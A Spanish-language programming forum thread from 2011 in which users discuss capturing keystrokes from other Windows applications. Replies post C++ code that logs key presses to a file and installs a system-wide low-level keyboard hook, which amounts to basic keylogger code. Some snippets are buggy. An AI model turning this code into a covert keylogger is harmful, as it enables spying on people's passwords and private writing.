Autor
|
Tema: Recojer telcas de otra App (Leído 3,035 veces)
|
Riki_89D
Desconectado
Mensajes: 851
BCN CITY
|
Hola que tal están?
verán necesito recoger las teclas pulsadas en una aplicación externa a la mía,por ejemplo el Microsoft Word,se que existe la api "GetAsyncKeyState();" pero no se como usarla para recoger teclas pulsadas en una aplicación externa a la mía,podrían echarme una mano?
muchas gracias!
|
|
|
En línea
|
|
|
|
naderST
|
Si lo quieres hacer con GetAsyncKeyState() investiga sobre las siguientes funciones:
- GetForegroundWindow() - GetWindowText()
Bueno lo que harás se simple en tu aplicación con GetForegroundWindow() obtendrás el handle de la ventana que tiene el usuario en el frente, y con GetWindowText() el titulo de la misma, si esta ventana es Word entonces pasamos a detectar las teclas.
|
|
|
En línea
|
|
|
|
Riki_89D
Desconectado
Mensajes: 851
BCN CITY
|
Hola que tal,hoy empezare a mirarme esas funciones que me pasaste,pero he querido realñizar una prueba conjoiendo las teclas de TODAS las app,o mejor dicho,de TODO el sistema,alla onde escriba sera registrado,pero nse que pasa que no funciona del todo bien,veras yo tengo este codigo: #include "iostream" #include "fstream" #include "windows.h" HWND MSN = 0; std::ofstream Log; int main(void) { Log.open("Log.txt"); do{ if(GetAsyncKeyState(65)) { Log << "a"; } }while(FindWindow(0,"Equipo")); return 0; }
lo unino que hace es que si escribes una A,pues la guarde en el archivo,lo que pasa que cuando abro el archivo me salen MILLONES de A's xD,e intentado remediralo con "goto",pero no funciona,la verdad me molesta tener que usar un "while" para dejar el programa en espera de que el usuario empieze a escribir,tienes alguna idea al respecto?¿ gracias
|
|
|
En línea
|
|
|
|
naderST
|
#include <fstream> #include <iostream> #include <Windows.h> std::ofstream keylog; int main(){ keylog.open("C:/log.txt", std::ios_base::app); while(1){ if(!GetAsyncKeyState(0x41)) keylog << "Tecla A presionada" << std::endl; Sleep(500); } keylog.close(); return 0; }
EDIT: También puedes hacer un Hook al teclado...
|
|
« Última modificación: 30 Septiembre 2011, 02:07 am por naderST »
|
En línea
|
|
|
|
BlackZeroX
Wiki
Desconectado
Mensajes: 3.158
I'Love...!¡.
|
Instala un HOOK al teclado que a su vez sea a un hilo de ejecucion espesifico (esto para no detectar teclas que vayan destinadas a otra Hilo).
Dulces Lunas!¡.
|
|
|
En línea
|
The Dark Shadow is my passion.
|
|
|
Riki_89D
Desconectado
Mensajes: 851
BCN CITY
|
Hola que tal,pues teneis toda la razon,hare un HOOCK con SetWindowsHoockEx,y esto de hacerlo en otro hilo me a llamado la atencion,asin que me e puesto a investigar sobre hilos ya que nunca los toque,se que esto se va del tema,pero lo pongo aqui para no abrir otro hilo,tengo el codigo para crear un hilo,pero parece que no acaba de funcionar bien,compila bien,pero no hace nada :S #include "windows.h" #include "iostream" DWORD WINAPI TProces(LPVOID) { MessageBox(0,"Hola desde el hilo","Hola",0); return 0; } DWORD ID_HILO; HANDLE Tread; DWORD ExitCode; int main(void) { Tread = CreateThread(0,0,TProces,0,0,&ID_HILO); OpenThread(THREAD_ALL_ACCESS,FALSE,ID_HILO); WaitForSingleObject(Tread,0); GetExitCodeThread(Tread,&ExitCode); return 0; }
Aguna ayuda?¿ PD: Una vez tenga el code este solucionado pasare a instalar el HOOCK thanks
|
|
|
En línea
|
|
|
|
naderST
|
Aquí tienes un hook simple al teclado. #include <stdio.h> #include <Windows.h> HHOOK hKeyboard; LRESULT CALLBACK keyboardproc(int nCode, WPARAM wParam, LPARAM lParam){ DWORD keyCode = ((KBDLLHOOKSTRUCT*)lParam)->vkCode; switch(keyCode){ default: printf("Tecla %c presionada!\n", keyCode); } return CallNextHookEx(hKeyboard, nCode, wParam, lParam); } int main(){ MSG msg; hKeyboard = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardproc, GetModuleHandle(0),0); if(!hKeyboard) return 0; while(GetMessage(&msg, 0,0,0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return 0; }
|
|
|
En línea
|
|
|
|
BlackZeroX
Wiki
Desconectado
Mensajes: 3.158
I'Love...!¡.
|
y esto de hacerlo en otro hilo me a llamado la atencion
Me entendiste mal, se instala un HOOk pero no en otro hilo como tu lo quieres hacer igual si lo deseas hacer adelante, pero debes Instalar el HOOK asociandolo a un HILO, como lo es al hilo del programa que deseas interceptar!¡. http://msdn.microsoft.com/en-us/library/ms644990%28v=VS.85%29.aspx HHOOK WINAPI SetWindowsHookEx( __in int idHook, __in HOOKPROC lpfn, __in HINSTANCE hMod, __in DWORD dwThreadId );
En el ultimo parametro mete el id del Hilo a asociar, eso es todo ( Hay una api para obtener el id del hilo, pero no recuerdo como se llamaba... cre que tiene algo que ver con GetThreadId() )... P.D.: Recuerda que debes desinstalar el Hook... UnhookWindowsHookEx() Dulces Lunas!¡.
|
|
« Última modificación: 30 Septiembre 2011, 19:01 pm por BlackZeroX▓▓▒▒░░ »
|
En línea
|
The Dark Shadow is my passion.
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Recojer datos msn
« 1 2 3 »
Programación Visual Basic
|
BenRu
|
26
|
5,849
|
24 Septiembre 2006, 04:55 am
por BenRu
|
|
|
Duda php, recojer variables
PHP
|
xDie
|
7
|
3,099
|
18 Octubre 2006, 19:33 pm
por xDie
|
|
|
como sacar otra toma de ono para otra tv?
Electrónica
|
davemirra
|
1
|
10,866
|
19 Enero 2007, 20:59 pm
por ecri
|
|
|
CARGAR UNA PAGINA DENTRO DE OTRA UNA Y OTRA VEZ
PHP
|
bleyarkngel
|
0
|
4,675
|
29 Junio 2009, 01:03 am
por bleyarkngel
|
|
|
Recojer datos con TinyMce
PHP
|
Littl3
|
4
|
8,511
|
17 Julio 2009, 02:17 am
por rigoxls
|
|